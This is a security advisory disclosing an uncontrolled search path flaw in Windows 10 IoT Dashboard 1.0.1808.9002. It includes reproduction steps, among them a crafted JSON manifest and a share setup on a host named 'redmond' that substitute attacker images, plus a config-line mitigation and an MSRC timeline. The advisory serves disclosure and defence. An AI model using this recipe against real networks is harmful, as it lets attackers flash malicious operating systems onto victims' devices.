Uncontrolled Search Path Element in Windows 10 IoT Dashboard

Published · Last revised


An attacker can boot up a laptop with a hostname of redmond and man-in-the-middle all Windows 10 IoT Core Dashboard users on the same network. This gives the attacker full control of the software being flashed onto a Windows 10 IoT device.


An uncontrolled search path element issue exists in the Windows 10 IoT Dashboard (1.0.1808.9002) app. Later versions were untested and may still be vulnerable. A successful exploit of this vulnerability requires an attacker to connect a machine to an adjacent network with a DNS/WINS/NetBIOS name of redmond and host a publicly accessible network share of 1windows containing an easily craftable JSON file. The application will automatically seek out and load this file and populate the UI with Windows IoT images under the attacker’s control. These images, ultimately just miniature forms of Windows OS, can be customized by the attacker for an infinite number of IoT scenarios.

Proposed NVD Category: CWE-427 (Uncontrolled Search Path Element)

Proposed CVSS Score: 8.3

Proposed CVSS Vector:


The Windows 10 IoT Dashboard is a graphical tool used by customers to provision IoT devices and IoT media (e.g. SD and USB Mass Storage). The tool was designed to present officially supported builds of Windows IoT OS via a OS Build drop down. Selecting a build from this drop down results in a download of official media from Microsoft secure servers.

The tool also supports populating the OS Build drop down via a special LKGFilePath key in its on-disk configuration file (Windows10IoTCoreDashboard.exe.config). This key value represents a path on the network where Last Known Good Windows IoT OS build configuration data can be retrieved. This LKG manifest contains data that the Windows IoT Dashboard processes to also populate the aforementioned OS Build drop down. This location is uncontrolled.
Figure 1 – Do you know which image is under attacker control?
Windows IoT images presented and delivered via the LKG manifest can be in ISO+MSI or FFU format, are not required to be digitally signed, and are indistinguishable from the official Microsoft Windows IoT images in the UI (Figure 1).

Repro Steps

Attacker Machine Preparation

  1. Set up a Windows or Linux machine (Samba) with a configured hostname of redmond and a Guest-accessible share named 1windows. (This may require some loosening of security on the attacker's machine, if it's running Windows.)

  2. Create the folder structure at the root of the 1windows share: \Teams\IOT\Client\AthensDrop\LKG

  3. Create a text file named iot_lkg_v2.txt and populate it with the following JSON data:

    {"AllPlatforms":[{"CheckedForInsiderBuild":true,"LkgBuilds":[{"Build":"Windows 10 IoT Core","BuildNumber":"17145","Path":"\\\\redmond\\1windows\\my.iso"}],"Platform":"MBM"}]}

Victim Machine Preparation:

  1. Ensure attacker machine is accessible via redmond hostname (e.g. ping redmond)
  2. Download and execute the Windows IoT Dashboard (https://docs.microsoft.com/en-us/windows/iot-core/connect-your-device/iotdashboard)
  3. Click Set up a new device
  4. Change Device Type to Intel MinnowBoard Turbot/MAX. (Our example JSON above only targets this device but can be rewritten to affect all devices listed in this app.) Take note that the OS Build contains two builds (Figure 1). The 17145 build is attacker controlled.
  5. Select Windows 10 IoT Core (17145)
  6. Insert a mass storage device to prepare for Windows IoT use (will be erased!)
  7. Specify an Administrator password (e.g. password)
  8. Click I Accept checkbox
  9. Click Download and Install. The attacker controlled my.iso file will be downloaded, unpacked, and installed onto the media inserted into the machine at this time.
  10. Install media in IoT device and power on.


Locate the Windows10IoTCoreDashboard.exe.config file and remove the following configuration element within:

<add key="LKGFilePath" value="\\redmond\1windows\Teams\IOT\Client\AthensDrop\LKG\iot_lkg_v2.txt" />


  • Aug 16 1:17PM: Sent report to MSRC
  • Aug 16 5:58PM: MSRC asked if attacker required DNS access
  • Aug 16 6:55PM: I clarified DNS is not needed thanks to NetBIOS/LLMNR
  • Aug 17 5:50PM: MSRC closed issue ("[...] we have determined that this submission does not meet the bar for security servicing")